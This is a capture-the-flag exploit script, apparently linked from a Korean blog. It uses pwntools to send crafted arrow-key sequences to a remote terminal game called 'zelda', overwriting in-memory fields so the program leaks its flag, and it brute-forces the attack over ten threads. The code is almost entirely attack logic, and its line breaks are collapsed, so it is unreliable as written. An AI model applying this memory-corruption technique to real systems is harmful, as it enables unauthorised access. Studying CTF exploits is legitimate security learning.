> https://uz56764.tistory.com/86
```from pwn import *import threading
CON = Truei = 0
REMOTE = Trueif(REMOTE):    up = '\033[A'    down = '\033[B'    right = '\033[C'    left = '\033[D'else:    up = '\033OA'    down = '\033OB'    right = '\033OC'    left = '\033OD'
def exploit(p):    pay = ''    # Through the wall    pay += right*(40-6)+left*6 + left*6+up*(40-6) + left*6+up*(40-6) + 'p' + 'g'     # overwrite player_idx    pay += down*5 + left + 'p' + down*120 + right*12 + down*4 + 'p'    # overwrite *(*(stdscr-0x8)+780) = 1 to disable noecho    pay += left*9 + down*7 + right + 'g'     # overwrite **(stdscr-0x8) = 5 (flag_fd)    pay += up*20 + left*2 + up*50 + left*2 + 'p'*100
    p.sendline(pay)
def remote_thread():    global CON    global i    while(CON):        i = i + 1        print(f"[+] {(1 - (((0x1fff-1)/0x1fff)**i))*100}%")        try:            p = remote("mc.ax", 31869)            #p = process('./zelda')        except:            continue        exploit(p)
        time.sleep(3)        rs = p.clean(timeout=1)
        if b'}' in rs:            print(rs)            f = open('result.txt','wb+')            f.write(rs)            CON = False        else:            p.close()
thread_count = 10th = []for x in range(0,thread_count):    th.append(threading.Thread(target=remote_thread))    th[x].daemon = True    th[x].start()
for x in range(0,thread_count):    th[x].join()```